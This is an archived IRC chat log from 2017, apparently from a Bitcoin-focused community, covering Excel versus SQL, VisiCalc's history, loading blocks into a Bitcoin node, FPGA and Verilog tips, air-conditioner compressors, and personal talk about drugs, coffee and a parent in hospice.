1641741;1491868789;mircea_popescu;"excel i understand" "no you don't" "but i've been using it forever" "not even that." 1641742;1491868797;mircea_popescu;"it makes me feel good." "go to the strip club." 1641743;1491868816;shinohai;http://archive.is/dbzpt <<< NYPD to emulate Ethereum blokechain for bodycam accountability 1641744;1491868824;mircea_popescu;bwahahahha 1641745;1491868828;mircea_popescu;o god that's going places. 1641746;1491868828;asciilifeform;asciilifeform worked for years in places where nearly everyone stretched excel long past breaking point -- bio, chem phd folx 1641747;1491868841;mircea_popescu;asciilifeform aha. i expect same reason. 1641748;1491868847;asciilifeform;i found why they liked it. it wasn't even the familiarity (some walked in knowing not even it) 1641749;1491868851;mircea_popescu;it's their hypercad. "When i was a wee tyke this seemed like srs bzns" 1641750;1491868854;asciilifeform;it was for a quite legit reason: 1641751;1491868857;asciilifeform;the short ooda loop. 1641752;1491868869;mircea_popescu;right. 1641753;1491868879;mircea_popescu;this, however, is not as legit a reason as it seems. 1641754;1491868886;asciilifeform;long ooda loops are ~poison~, and that excel continues to win this contest, is to the undying shame of the field 1641755;1491868905;asciilifeform;folks who can tolerate unnecessarily long ooda loops when working with a comp, 1641756;1491868909;asciilifeform;are called programmers 1641757;1491868912;asciilifeform;and they get paid for this 1641758;1491868917;asciilifeform;but really for the pain tolerance 1641759;1491868923;asciilifeform;just like sewage dredgers are paid to smell shit. 1641760;1491868925;mircea_popescu;asciilifeform i make most of my money out of being capable to use the tool that's adequate for the job whereas everyone else just goes with the fastest loop. 1641761;1491868939;asciilifeform;mircea_popescu: in sane field, the 2 are 1 1641762;1491868969;mircea_popescu;this seems about as unlikely as saying "in sane russia, sexually attractive women and women with pleasant personalities are the same woman" 1641763;1491868983;mircea_popescu;there's no hard guarantee such wonder is possible. 1641764;1491868985;asciilifeform;we're talking about a man-made world here. 1641765;1491868990;mircea_popescu;we are not. 1641766;1491869000;asciilifeform;there is no justification for the liquishit. none. 1641767;1491869009;mircea_popescu;well that may be. 1641768;1491869040;mircea_popescu;suppose you're making pcb. instant tracing, also ? 1641769;1491869047;mircea_popescu;in what parallel, if man made, universe ? 1641770;1491869054;asciilifeform;right here, in the cnc mill. 1641771;1491869064;mircea_popescu;heh. some problems are complex alfie. 1641772;1491869124;asciilifeform;everyone laughs at excel, but microshit did not invent spreadshit. spreadshit was 'killer app', arguably, for the original micros, because it introduces a modicum of sanity to the otherwise idiotic von neumann comp 1641773;1491869137;asciilifeform;makes it behave like a sane physical system, whether clockwork or circuit: 1641774;1491869145;asciilifeform;where you push a rod, and it pushes; pull - and it pulls. 1641775;1491869148;asciilifeform;instead of 'batching'. 1641776;1491869152;asciilifeform;batching is batshit. 1641777;1491869200;mircea_popescu;batching was the preferred mode of engineers. historically. 1641778;1491869223;asciilifeform;it is an artifact of painful rigidity. you cannot work steel the way one works plasticine, for elementary physical reasons. 1641779;1491869237;asciilifeform;machine shop has no 'putting on tool', cuts -- must be planned, and reduce to simple geometries; etc 1641780;1491869246;mircea_popescu;yeah well. anthropologically relevant though, created a whole identity mythos. 1641781;1491869281;asciilifeform;on a comp this rigidity does not exist ! ( when it does -- it is because of a long line of boneheads who wanted to emulate steel-cutting in all things ) 1641782;1491869309;mircea_popescu;possibly. 1641783;1491869334;asciilifeform;btw most of the folx reading this now own a perfectly good example of a non von neumann comp and program for same -- FUCKGOATS 1641784;1491869336;trinque;this'd be one of those overly broad ones. 1641785;1491869366;mircea_popescu;i have no position here, merely observing the history of the thing. 1641786;1491869383;mircea_popescu;!!deed for instance works fine by my eyes, but it does not pass the "monkey do, monkey see" test. 1641787;1491869631;trinque;to quote my old boss, one of his better observations imo is that spreadheets (and db as discussed in thread) are tools for classification and distinction 1641788;1491869652;mircea_popescu;trinque the issue is that just because it felt convenient to the wee tyke it doesn't follow it is ~useful~. 1641789;1491869672;mircea_popescu;cocaine is the eminent example. it FEELS like it does things to you. it does not therefore HELP. 1641790;1491869687;mircea_popescu;and this goes directly to all the "no mp, dope totally makes you a better thinker" threads. 1641791;1491869695;trinque;the vast majority of the accountant guy's job is defining categories, listing their properties, relating them to each other 1641792;1491869710;lobbes;http://btcbase.org/log/2017-04-10#1641735 << place I'm currently contracting at, a big bank in southeast (you can prolly guess), it is literally written in policy:no sql allowed, only excel 1641793;1491869710;a111;Logged on 2017-04-10 23:58 trinque: the accountant fellow I mentioned, for $100mil scale oil contract compliance, also excel macros. 1641794;1491869723;lobbes;Literally 1641795;1491869726;trinque;visicalc and descendants leaned most this way, and thus he still uses that when alternatives aparrently exist 1641796;1491869728;mircea_popescu;lobbes what happens when they starty paying the btc ransoms ? 1641797;1491869753;trinque;lobbes: of the NoSQLs of which I'm aware, that's the saddest 1641798;1491869754;mircea_popescu;you realise all it takes is for someone to salt the parking lot with hello kitty usbs. 1641799;1491869765;asciilifeform;( asciilifeform guesses : massive golden toilet backuptrons installed ) 1641800;1491869766;lobbes;Tis a purely political reason, of course 1641801;1491869788;mircea_popescu;asciilifeform backup <-> realtime. iffy shit. 1641802;1491869820;trinque;mircea_popescu: what'd the guy's classification and distinction device look like in the alternative? 1641803;1491869857;mircea_popescu;i am not proposing an alternative for that function. doctor isn't in the line of proposing replacement for cocaine, and from the "i wanna feel good" perspective the whole pharmacopoea is a waste of space. 1641804;1491869880;trinque;or biologist, goes on safari, starts catalog of observations, begins drawing relationships between them 1641805;1491869902;*;lobbes was dismayed when I came in, automated a 40 hr excel proccess down to about 10mins just by using sql (access of all the god awful things) only to be told it was verboten 1641806;1491869906;mircea_popescu;let the man play with his excel and feel happy, just like some writers prefer to sketch their novels in gf's faeces on bathroom floor. none of this makes gf shit an economically relevant inkwell system. 1641807;1491869942;lobbes;Now I pour my brain into tmsr, much more rewardinf 1641808;1491869954;lobbes;*rewarding 1641809;1491869969;asciilifeform;lobbes: if you take work as a programmer where they program ~meat~ -- don't be surprised 1641810;1491869970;mircea_popescu;lobbes see, because they made the mistake of banning things instead of simply banning stupid. 1641811;1491869974;mircea_popescu;you never want to ban things. 1641812;1491869985;lobbes;Yup 1641813;1491869989;asciilifeform;mircea_popescu: if they 'banned stupid' -- would have to ban self, as a class, the entire yacht set 1641814;1491869993;mircea_popescu;aha. 1641815;1491869995;lobbes;That is a great summation 1641816;1491869999;mircea_popescu;hey, i see not the drawback. 1641817;1491870117;asciilifeform;i can see a legit pov for the 'no sql' folx. 'you will NOT introduce programmerolade into our process flow, creating work for maggots like yerself and marrying our corp to your lazy and entitled arse' approx. 1641818;1491870134;asciilifeform;when whole thing is excel -- the 60 y.o. buffett at the top, theoretically understands the flow. 1641819;1491870148;asciilifeform;when you let ~one~ flunky write ~one~ perl script, on other hand.. 1641820;1491870203;mircea_popescu;http://btcbase.org/log/2017-04-10#1641504 << From experience, there's a definite slot for learning filled by sql. i personally show girls how to use a db for their own shit, which may be simply grocery lists ("now tell me how many kgs of pepper we bought by day last year"). truthg be told the path to a structured mind is long and arduous. 1641821;1491870203;a111;Logged on 2017-04-10 18:29 phf: ok, i guess we both know what the problem is. my solution is "study db related algorithms until you know enough to write a db", your solution, unless i misunderstand, seems to be "use an existing database a lot". i don't understand how learning, say, postgresql will get you from not knowing anything about db internal design to writing your own 1641822;1491870228;mircea_popescu;asciilifeform this naive view is mostly borne of not much using excel. 1641823;1491870245;asciilifeform;this unfortunately is not so. did use. 1641824;1491870253;asciilifeform;quite familiar with this particular wheelbarrow. 1641825;1491870258;mircea_popescu;the attempt to understand another's excel pile is not unliuke trying to grok the intended functioning of the preferred emacs setup of a rabid squirrel. 1641826;1491870273;asciilifeform;it's examinable, what. 1641827;1491870277;mircea_popescu;pfff 1641828;1491870284;asciilifeform;and yes, there is a turing-complete basic stuffed in there. but ~no one uses. 1641829;1491870299;mircea_popescu;in my own (limited) experience, every time i found myself consulting for this lot i had them write, by hand, in narrative form, what they thought their excels did. 1641830;1491870305;mircea_popescu;improved productivity 1500% 1641831;1491870316;*;asciilifeform can picture this. 1641832;1491870326;mircea_popescu;it's examinable in the sense xilinx is examinable. 1641833;1491870357;asciilifeform;i'd guess that it happens most to folx who are ~wholly untethered to reality ( financial models, say, of elaborate scamola that sums to 0 at the end of the day, rather than , say, titrations ) 1641834;1491870391;asciilifeform;the excelolade of the people who asciilifeform worked with, who had to juggle physical objects every day, was reasonably sane. 1641835;1491870392;mircea_popescu;i guess that may be explanatory. 1641836;1491870429;asciilifeform;intelligent (in the glass bead sense) folx who are unbound from reality, tend to birth monsters. 1641837;1491870435;mircea_popescu;before coming up with the "Write it down. By hand." i had an excel depacker, which cost me literal man-years to have made and tuned, and which was good but far from perfect. 1641838;1491870449;asciilifeform;this sounds agonizing. 1641839;1491870489;mircea_popescu;well... trade barriers rite. 1641840;1491870539;mircea_popescu;(and no, it NEVER happened that two people in the same team using the same tools actually had compatible notions of what the tools did.) 1641841;1491870566;asciilifeform;to revisit upstack : present-day asciilifeform does not agree with young-asciilifeform re 'excel is what poor illiterate folx who never learned Actual Programming, suffer with'. in an important sense it is superior to a good fraction of what passes for 'actual program' 1641842;1491870589;mircea_popescu;it's just not clear that the particular sense is actually relevant in any public sense. 1641843;1491870599;asciilifeform;specifically, the 'this produces no meaningful answer and i have nfi why' situation never happens. 1641844;1491870607;asciilifeform;it is more or less impossible in a spreadshit. 1641845;1491870610;mircea_popescu;and this goes right back ot the literacy vs hyeroglyphs thread, amusingly enough. 1641846;1491870659;mircea_popescu;asciilifeform yes, but at the cost of, you know, http://trilema.com/2013/why-mpex-is-better-than-fiat-institutions-part-349085-we-dont-use-excel/#selection-31.16-31.118 1641847;1491870710;asciilifeform;at plenty of cost. 1641848;1491870737;asciilifeform;my disagreement was in re 'this is an illusory/masturbatory pleasure, like cocaine' 1641849;1491870742;asciilifeform;it is not necessarily so. 1641850;1491870752;asciilifeform;asciilifeform's chemists would NOT have been well served by being sent to learn sql. 1641851;1491870755;asciilifeform;or perl. 1641852;1491870840;mircea_popescu;and my party girls would not have been well served by the soviet dress fashions for professional females cca 1965. 1641853;1491870844;mircea_popescu;what's this prove. 1641854;1491870955;mircea_popescu;also, i dunno how relevant but factual in any case : 90% of in-house it support requests from excel users is exactly, "i did thing and it did i dunno what or why halp!1" 1641855;1491871003;mircea_popescu;which is ~how "from scratch for srs db" projects even end up engaged in by banks and their ilk. the it dept is pushing relentlessly for away-from-excel for this reason every single board meeting. 1641856;1491871023;asciilifeform;'it dept' of course wants full employment for perlists. 1641857;1491871031;mircea_popescu;"we'll end up hiring two excel support people for every backofice gurl!!" 1641858;1491871052;mircea_popescu;asciilifeform yes, they want to do things that don't involve talking to girls or ~~~horror of horrors~~~ being at their call. 1641859;1491871107;asciilifeform;i can easily picture mircea_popescu's excelists tho. the thing does ~not~ behave gracefully at the outer limits of what it does. 1641860;1491871114;asciilifeform;wouldn't be a microshit product if it did, now. 1641861;1491871133;mircea_popescu;myea 1641862;1491871323;asciilifeform;but -- quite like the plastic scissors they issue to kindergarteners and asylum inmates, the thing ~does~ have a sweet spot in which it ~works. 1641863;1491871347;asciilifeform;and in that sweet spot, beats the shit out of perl. 1641864;1491871359;asciilifeform;not the least of reasons for this being that you don't need the deformed monkey any moar 1641865;1491871400;asciilifeform;can deal in 'human' concepts, that make sense on grid paper just the same as on the comp. 1641866;1491871463;mircea_popescu;possibly. 1641867;1491871547;asciilifeform;consider, visicalc was hyperbestseller among 'people who do things'; while the bare micro, even with rom basic -- was not. 1641868;1491871569;mircea_popescu;how much did it sell ? i'm not really familiar. 1641869;1491871582;asciilifeform;this is even though the latter is quite superior, at least in raw capacity, speed, to the former. 1641870;1491871606;asciilifeform;http://www.bricklin.com/history/intro.htm << author's www 1641871;1491871680;mircea_popescu;got a number to save me from fishing through the memorabilia tripod ? 1641872;1491871745;asciilifeform;300 ( 1980 usd ) for the proggy 1641873;1491871747;asciilifeform;pretty hefty 1641874;1491871752;asciilifeform;and this dun include the comp 1641875;1491871756;mircea_popescu;no i mean, how many copies or units or such 1641876;1491871781;asciilifeform;300k supposedly. 1641877;1491871786;asciilifeform;and quickly. 1641878;1491871795;asciilifeform;or hm nm 1641879;1491871797;asciilifeform;that was the pc port 1641880;1491871816;asciilifeform;initial release sold 700k (1mil total), claimed. 1641881;1491871833;mircea_popescu;that's a lot! 1641882;1491871879;asciilifeform;( http://archive.is/d8V0S << another source claims 800k by may of '85 ) 1641883;1491871886;asciilifeform;5y after release. 1641884;1491871907;mircea_popescu;for the time it's quite hyper. 1641885;1491871926;asciilifeform;'...A few dealers knew what they were doing and got their salespeople excited about it. Because of VisiCalc, one of the Burlington, Massachusetts, dealers became the most successful Apple dealer in the country at that time. Two of its salesmen ended up as two of the founders of Lotus (the original team that brought out 1-2-3). We only sold about 1000 a month for the first few months because we had 1641886;1491871932;asciilifeform;to get the word out to the primary consumers, who were financial people. [Editor’s note: A total of over 800,000 copies were sold by May of 1985, when Lotus purchased Software Arts and ceased marketing VisiCalc]' 1641887;1491871950;asciilifeform;bricklin became, at least until rise of microshit and its cargocults -- a cult figure 1641888;1491871993;mircea_popescu;i can see why. 1641889;1491871999;asciilifeform;was in fact one of the few folx who made genuine advances for the micro. whose cake microshit proceeded to swallow. 1641890;1491872039;asciilifeform;this 800k (or 1mil, or whichever) is an amazing number, because it isn't a pile of britney records. these were ~people~ buying. 1641891;1491872067;mircea_popescu;if pressed i wouldn't even have imagined there were 1mn people who doi things left in the 80s us. 1641892;1491872076;mircea_popescu;puts in perspective what maga has to actually accomplish. 1641893;1491872078;asciilifeform;'VisiCalc ran on a 24K-byte machine, 32K bytes with disk. ' 1641894;1491872114;mircea_popescu;asciilifeform i don't think su ever delivered 1mn of any kind of calculating machine, since we're on it. 1641895;1491872156;asciilifeform;mircea_popescu: even the infamous 'felix' only sold 300k. 1641896;1491872160;mircea_popescu;ikr ? 1641897;1491872161;asciilifeform;iirc. 1641898;1491872167;mircea_popescu;and that was possibly largest. 1641899;1491872179;mircea_popescu;this has been a very informative discussion, i had nfi. 1641900;1491872257;asciilifeform;actually the 300k figure seems to refer to just 1 year. 1641901;1491872267;asciilifeform;likely moar existed -- thing was in production from end of '20s to early '80s ! 1641902;1491872268;mircea_popescu;afaik the total run was a few hundred k items. 1641903;1491872278;asciilifeform;didja ever have one ? 1641904;1491872283;mircea_popescu;had ro clone. 1641905;1491872288;mircea_popescu;but 90s. 1641906;1491872292;asciilifeform;there were many many clones. 1641907;1491872296;mircea_popescu;yes. 1641908;1491872306;mircea_popescu;certainly saw yugo clone as well 1641909;1491872309;asciilifeform;original was german thing 1641910;1491872312;asciilifeform;odhner. 1641911;1491872345;asciilifeform;cranked arithmometers were spiffy, for their time, american 'manhattan' project ran on'em 1641912;1491872351;asciilifeform;(gurls, cranked, scribbled) 1641913;1491872363;mircea_popescu;certainly in the vein of the above excel ooda. 1641914;1491872376;mircea_popescu;there's truly no way to make it do strange things. 1641915;1491872386;mircea_popescu;babbage problem, of course, remains. 1641916;1491872396;asciilifeform;aha. and if it jammed, the oil bottle is right-there. 1641917;1491872404;asciilifeform;and - what's worst ? needs new gear? 1641918;1491872439;mircea_popescu;first-cleanner. then-oil. then-light cig. then put out fire. 1641919;1491872445;asciilifeform;'babbage problem' is not escapable, it does not come from the poor machine, no. 'pebkac'. 1641920;1491872449;mircea_popescu;aha. 1641921;1491872453;mod6;MEGA 1641922;1491872454;mod6;LOG 1641923;1491872460;mircea_popescu;hola mod6 1641924;1491872461;asciilifeform;ohai mod6 1641925;1491872464;mod6;o7 1641926;1491872466;shinohai;Hope you made popcorn mod6 1641927;1491872489;mod6;i've been following along off and on all day. 1641928;1491872491;*;asciilifeform reads 'o7', thinks 'brigadier general..?' 1641929;1491872496;mod6;need to get the last few hours 1641930;1491872504;mircea_popescu;it's how you do military salute if you're playing excel-in-space 1641931;1491872509;mircea_popescu;which it occurs to me asciilifeform might enjoy ? 1641932;1491872526;asciilifeform;lol, 3d spreadshit? 1641933;1491872534;mircea_popescu;!~google eve online 1641934;1491872536;jhvh1;mircea_popescu: EVE Online - One community. Countless journeys.: ; Eve Online - Wikipedia: ; EVE Online - YouTube: 1641935;1491872541;shinohai;^ 1641936;1491872542;asciilifeform;aaah it 1641937;1491872543;mircea_popescu;we even have / had a guild there 1641938;1491872553;asciilifeform;i had it on my list, for what to do with that wintel box 1641939;1491872555;mod6;1BTC right? 1641940;1491872566;mircea_popescu;aha 1641941;1491872606;mircea_popescu;i dunno how active it is or anything ; but we were pretty rich if memory serves. 1641942;1491872627;mod6;:] 1641943;1491872631;asciilifeform;last thing i played was, iirc, 'hearts of iron'. then lent the box to brother , in feb., and hadn't had time to touch it since 1641944;1491872657;mircea_popescu;i dun know that one. 1641945;1491872671;asciilifeform;ww2 micromanagement sim thing. 1641946;1491872699;asciilifeform;(demo level: you start as mussolini) 1641947;1491872725;asciilifeform;http://www.heartsofirongame.com << subj. 1641948;1491872733;asciilifeform;dunno if i recommend. 1641949;1491872762;mod6;im about to try to load up this offline phys box with all the blocks. 1641950;1491872799;mod6;wrote a perl one liner to cut them all apart with blkcut... now just gotta feed 'em in. 1641951;1491872802;mircea_popescu;ah i dun like ww2 stuff. 1641952;1491873744;mod6;ok there they go 1641953;1491873751;mod6;15k blocks and counting 1641954;1491873767;mod6;-verifyall & -caneat 1641955;1491873775;mod6;~0ms writes 1641956;1491873782;mod6;nmon is running 1641957;1491873809;mod6;box is: 24 CPU / 64Gb RAM / 1Tb Kingston SSD 1641958;1491873837;mod6;lol, disk is probably going to start on fire. 1641959;1491873853;mod6;40k blocks... 1641960;1491873871;mircea_popescu;a yea good point : folks plox fan your ssds when doing mass blockeat experiments etc. 1641961;1491873892;asciilifeform;i've yet to meet one that seriously warms 1641962;1491873895;mod6;50k 1641963;1491873918;mod6;i've got mine in a std enclosure and it's got a faned bp. but... if she fries, well, she fries. 1641964;1491873923;mod6;a good test either way. 1641965;1491873962;asciilifeform;unless your environment is quite peculiar ( massively overheaded cage, or a satellite, or a pile of blankets?? ) typical ssd maxes out at 40c or so 1641966;1491873971;asciilifeform;at room ambient temp 1641967;1491873978;asciilifeform;*overheated 1641968;1491874043;mircea_popescu;i had one i couldn't touch. hence keep ssds in fanned thing 1641969;1491874123;mod6;this is pretty f'ing awesome, actually. 1641970;1491874152;shinohai;I need a better SSD, these girls better step up their game. 1641971;1491874166;mod6;shake it! 1641972;1491874275;mod6;93k 1641973;1491874794;mod6;there's like 180k+ blocks in blk0001.dat 1641974;1491874829;asciilifeform;mostly hollow aha 1641975;1491874838;mod6;i cut apart 50 .dat files. noodle on that for a minute. and these dickweeds want BIGGER blocks. 1641976;1491875035;mod6;asciilifeform: got that book from pong chu 1641977;1491875036;shinohai;All except lukejr, but he's just a contradictory blockhead 1641978;1491875038;mod6;thx for the heads up 1641979;1491875065;asciilifeform;mod6: it's an ok b00k. there is not, afaik, a 'great' one 1641980;1491875102;asciilifeform;again i'll reminds, hard part for n00bs is not 'verilog' but rather the basic idea of 'program where all lines execute at once' 1641981;1491875143;asciilifeform;especially given as it is not quite so, and various sections have 'triggers' (particular signals that cause them to 'happen') 1641982;1491875178;asciilifeform;i recommend to study very carefully the diagrams that give examples of what gates particular snippets actually get synthed into, and why 1641983;1491875191;asciilifeform;(e.g., what is an inferred latch, and why do you virtually never want one.) 1641984;1491875268;mod6;there's an example in here of a FIFO circular queue in verilog, neat. 1641985;1491875314;asciilifeform;best to think of it as 'in iron', rather than 'in verilog', other ways to specify the same circuit, get you same result. 1641986;1491875376;mod6;werd 1641987;1491875647;asciilifeform;mod6: build yourself a copy of 'verilator' 1641988;1491875652;asciilifeform;worx ok 1641989;1491875666;asciilifeform;and will give you a little ability to debug (i hesitate to use the word) 1641990;1491875717;asciilifeform;a good chunk of the pain in this kind of work is the ~total lack of anything like the customary debugger. ( that, and the constraints of the medium - the very palpable differences between fpga and actual asic, but even in the latter there are physical delays ) 1641991;1491875750;mircea_popescu;in other news, i deem http://trilema.com/2017/the-lordship-list-fourth-year/ a done deal ; trinque plox to update deedbot to reflect. 1641992;1491875762;mod6;mircea_popescu: cool 1641993;1491875805;mod6;asciilifeform: ah, ok. 1641994;1491875822;mod6;i was thinking about taking my xilinx board and seeing if I can throw your fg-genesis on there. 1641995;1491875839;asciilifeform;mod6: you could, but be mindful of the crystal 1641996;1491875852;mod6;yeah, not sure if this one is ok... 1641997;1491875854;*;mod6 looks 1641998;1491875867;asciilifeform;mod6: if you want to talk to a ttl-usb serial dongle, you gotta match one of the classical baud rates, or you get rubbish (and not the desired rubbish, either, but patterned rubbish -- or nothing at all) 1641999;1491875918;mod6;i did get that xilinx platform cable usb deal in the mail too. 1642000;1491875975;asciilifeform;mod6: see also http://btcbase.org/patches/fg-genesis#L86 . 1642001;1491876012;asciilifeform;you may recognize the idiom -- it's a divisor by 128. 1642002;1491876048;mod6; 86 +// div128, for UART's 115200b on 14.7456MHz crystal. 1642003;1491876056;mod6;ah 1642004;1491876067;asciilifeform;if your dev board crystal is a power-of-2 multiple of your baud rate -- you're ok, just gotta change the divisor 1642005;1491876070;asciilifeform;if not -- problem. 1642006;1491876089;mod6;gotcha 1642007;1491876112;asciilifeform;( there is unfortunately no such thing as a serial port that eats arbitrary baud rates. ) 1642008;1491876225;mod6;the chip i've got is a 'xilinx spartan XC3S500E' 1642009;1491876289;mod6;looking forward to getting into this stuff a bit. 1642010;1491876318;mod6;for edu purposes, etc. 1642011;1491876379;mod6;when i start actually doing somethings, i'll take some pics. 1642012;1491876440;mod6;i'd like to audit one of these fgs soon too. 1642013;1491876474;mod6;might give that a try tomorrow 1642014;1491876533;mircea_popescu;good blog material in any case. 1642015;1491876538;mod6;ya 1642016;1491876557;mod6;i may write up something on my website, or send something to qntra 1642017;1491876885;mod6;speaking of which, my mom asked about BingoBoingo 1642018;1491876970;mod6;she's been mainly 100% delirious. but in a moment of slurred-opiate semi-clarity, she asked me "hows BingoBoingo?" 1642019;1491876977;mircea_popescu;o.O 1642020;1491876988;mod6;^ my reaction exactly. 1642021;1491876996;mircea_popescu;opiates suck. 1642022;1491877019;mod6;yeah, she's in hospice now. they're keeping her pretty comfortable. 1642023;1491877047;mod6;she was semi-lucid until friday. but been pretty much not-eating & sleeping all day since. 1642024;1491877048;mircea_popescu;there is that. 1642025;1491877089;mod6;well, she was sleeping all day on saturday. then for a moment, she woke up, got pissed off, tried to get out of bed, fell down. then wrestled two nurses, and sucker punched one in the face. 1642026;1491877118;mod6;felt so bad for the young lady. it wasn't a hard punch or anything... but still. lol. 1642027;1491877121;mod6;wtf. 1642028;1491877140;mircea_popescu;o.O 1642029;1491877153;mod6;they came over and gave her a pretty big dose of valium or whatever. 1642030;1491877161;mod6;then it was back to night-night. 1642031;1491877312;mod6;i think the bed alarm threw her into a rage. the thing started going off like a UPS alarm. 1642032;1491877323;mircea_popescu;ah 1642033;1491877395;mod6;it was quite something to behold. here's a lady, clinging to breath, hardly moves, then gets up and fights to young women. 1642034;1491877445;mircea_popescu;zee human body. 1642035;1491877461;mod6;its something else 'eh 1642036;1491877636;mod6;danielpbarron: hey, did you ever figure out whatever with your openbsd deed you were trying to do? 1642037;1491877659;mod6;TomServo: any update on the issues you ran into? 1642038;1491878169;TomServo;mod6: Sorry, nothing to report as yet. Node is still running, wedged, and untouched. Haven't had time to delve any deeper. 1642039;1491878260;mod6;Ok, thanks for the update. 1642040;1491878298;mod6;ben_vulpes: so if i have a `std::map> stuffMap`, is it legal to say `stuffMap[k].push_back(newV)` << should be fine as long as newV is of vtype. 1642041;1491878351;shinohai;https://github.com/npm/npm/pull/16300 <<< omg it's Ryan X Charles' wet dream 1642042;1491878392;mod6;pull my finger 1642043;1491878729;mod6;150k 1642044;1491878746;mod6;no fires yet 1642045;1491878912;shinohai;If the shitty, 4 year old hardware I run my node hasn't burnt down the house yet I'm highly optimistic for you mod6 :D 1642046;1491879072;mod6;:] 1642047;1491879650;*;shinohai just likes shitty old computers ... 1642048;1491879692;shinohai;I'm still hopeful I'll find something that'll run on that Dell I salvaged a few weeks ago. 1642049;1491879871;danielpbarron;mod6, i think trinque is working on it 1642050;1491880168;mod6;ah, ok. werd. 1642051;1491881354;BingoBoingo; ben_vulpes: i always wished there were such a thing as an ac with a throttle << Not throttle, needs adjustable clutch 1642052;1491881447;asciilifeform;the starting/stopping of the compressor and the blower is also massive waste of energy. 1642053;1491881461;asciilifeform;why not continuously variable heat pumping ? 1642054;1491881496;asciilifeform;compress as-needed, blow -- as-needed. 1642055;1491881504;asciilifeform;as determined by the actual leakage of the room walls. 1642056;1491881543;asciilifeform;( if all ac used peltier junction, this would be quite trivial. unfortunately peltier is not actually +ev in comparison with mechanical compressor. ) 1642057;1491881572;asciilifeform;you can't even ~get~ a peltier in anything like the size you would want for a room ac. would need hundred of'em. 1642058;1491881586;asciilifeform;( and car-sized radiator for hot end. ) 1642059;1491881597;asciilifeform;not car-radiator size. car-size. 1642060;1491881644;asciilifeform;is there such a thing as a variable-ratio compressor ? 1642061;1491881672;asciilifeform;seems as if -- there could easily be. 1642062;1491881782;BingoBoingo; cocaine is the eminent example. it FEELS like it does things to you. it does not therefore HELP. << The problems with cocaine hcl powder is that in little time even that feeling goes that and you are left with only feeling of wanting moar cocaine 1642063;1491881886;BingoBoingo; i am not proposing an alternative for that function. doctor isn't in the line of proposing replacement for cocaine, and from the "i wanna feel good" perspective the whole pharmacopoea is a waste of space. << This is why CIA popularized freebase salt of cocaine 1642064;1491881897;asciilifeform;if people dosed aspirin the way they dosed cocaine, they would decide that it, too, is useless. 1642065;1491881928;asciilifeform;nobody ~forces~ idiot to snort it. 1642066;1491882114;asciilifeform;the spanish first denied the indians they were working to death, their coca, then permitted again. this suggests that coca -- works. 1642067;1491882120;asciilifeform;for that particular value of worx. 1642068;1491882127;asciilifeform;( pretty sure we had this thread. ) 1642069;1491882200;asciilifeform;( some modern folx -- gabriel_laddel ?? -- continue this fine tradition even today... ) 1642070;1491882418;BingoBoingo; she's been mainly 100% delirious. but in a moment of slurred-opiate semi-clarity, she asked me "hows BingoBoingo?" << I am doing well, celebrate 18 months of continuous sobriety later this month. 1642071;1491882635;BingoBoingo; compress as-needed, blow -- as-needed. << Thinking on it, AC may be the one application where CVT transmission makes sense 1642072;1491882682;BingoBoingo; seems as if -- there could easily be. << Probably low hanging fruit 1642073;1491882688;mircea_popescu;asciilifeform soviets similarily denied afghani whatever, then permitted again. this suggests - empire doesn't honestly gas. 1642074;1491882777;BingoBoingo; for that particular value of worx. << The second best treatment for addiction disorders is drugs of abuse 1642075;1491883033;asciilifeform;mircea_popescu: iirc ww2 germany experimented with similarly cocainizing prisoners, for endurance, but came to 0, war ended 1642076;1491883150;trinque;this is the kind of thing of which you're disabused after you reach your personal tolerance of bros telling you their great business idea 1642077;1491883179;trinque;might give you the will to march, but all directions seem equally great ideas 1642078;1491883201;asciilifeform;who the fuck lets prisoner decide direction ? 1642079;1491883244;BingoBoingo;Anyways, after physical dependence is established for any drug, cessastion of drug leads to feelings of exhaustion and illness. 1642080;1491883250;trinque;point was that it detunes the good-idea-inator badly 1642081;1491883270;asciilifeform;http://btcbase.org/log/2016-12-01#1575700 << thread 1642082;1491883270;a111;Logged on 2016-12-01 18:19 asciilifeform: 'packing', and brute labour of whatever other kind, also can have sensation of 'inch away', read the tales of athletes in training, alpinists, pilots. 1642083;1491883274;shinohai;You don't stop giving the whores junk ...... 1642084;1491883299;asciilifeform;trinque: if g_l is anything to go by -- it certainly does 1642085;1491883304;trinque;lel 1642086;1491883328;asciilifeform;distort thought, i mean 1642087;1491883372;BingoBoingo;distort thought seems to be common among stimulants, including amphetamines with the cocaine 1642088;1491883436;asciilifeform;some folx even more unfortunate : never think clearly to begin with, sober. 1642089;1491883464;BingoBoingo;Many crack afficianados are downright pleasant people 6 to 60 months out from smoking their last rock 1642090;1491883485;asciilifeform;'hey, i'll be sober in the morning, but you -- will stay ugly' or how it went. 1642091;1491883639;*;BingoBoingo unsure journey from bed with morning jitters to breakfast gin quite counts as sober in the morning 1642092;1491883667;BingoBoingo;But human body, amazing thing 1642093;1491883671;trinque;only drug that ever got me was nicotine 1642094;1491883698;*;trinque smells good tobacco, still has the anticipatory rush of "ah, my old friend" 1642095;1491883720;BingoBoingo;nicotine seems to get most people, so many receptors scattered everywhere for it to hit 1642096;1491883759;asciilifeform;doesn't seem to do much for asciilifeform 1642097;1491883801;BingoBoingo;perhaps asciilifeform is bodily and mentally different from his fellows, is dog-cat 1642098;1491883812;asciilifeform;lol 1642099;1491883814;BingoBoingo;Or cat-dog 1642100;1491883867;shinohai;Coffee+nicotine is wonder drug cocktail for me 1642101;1491883894;trinque;oh right. so two then... 1642102;1491883933;asciilifeform;shinohai: you add it to coffee?! 1642103;1491883942;trinque;by now aren't those just "being european" ? 1642104;1491883993;shinohai;Nah, you drink first espresso shot in the morning, followed by delicious cigarette. 1642105;1491884030;trinque;lady friend gave me a nice, small espresso machine while back. 1642106;1491884050;*;BingoBoingo drinks drip brew coffee by the pot, perhaps has simply established warped relationship with beverages generally 1642107;1491884092;trinque;this thing's a "Krups", old model, works great 1642108;1491884109;shinohai;Somehow I imagine BingoBoingo owning one of those coffee urns like they have in funeral homes 1642109;1491884157;BingoBoingo;shinohai: Not yet, but the meetings I frequent tend to be the ones with the large coffee urns over mundane 12 cup drip machine. 1642110;1491884238;shinohai;I have one of those stovetop percolators for afternoon coffee, too much espresso will keep me awake long into the night. 1642111;1491884277;trinque;BingoBoingo may enjoy investing in a french press; great way to brew regular coffee 1642112;1491884288;trinque;things are like 15 bucks or something. 1642113;1491884812;lobbes;ah I miss the ol' coffee+nicotine combo. Had to ditch the coffee half recently though; stuff doesn't agree with me anymore (and I'm only 29 O.o) 1642114;1491884814;lobbes;Switched to green tea. Was hell the first few days, but now I enjoy the 'subtle yet steadier' energy boost it give me. No more 'caffine crashes' 